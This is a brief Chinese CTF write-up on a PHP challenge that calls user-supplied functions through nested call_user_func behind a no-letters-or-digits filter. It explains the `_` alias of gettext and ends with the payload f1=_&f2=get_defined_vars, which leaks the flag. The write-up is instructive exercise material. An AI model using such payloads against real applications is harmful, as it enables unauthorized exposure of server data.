PHP特性:无字母数字构造函数
<?php $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
在开启该拓展后 _() 等效于 gettext()
<?php echo gettext("phpinfo"); //结果 phpinfo echo _("phpinfo"); //结果 phpinfo
所以call_user_func(‘_’,’phpinfo’)
返回的就是phpinfo
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:f1=_&f2=get_defined_vars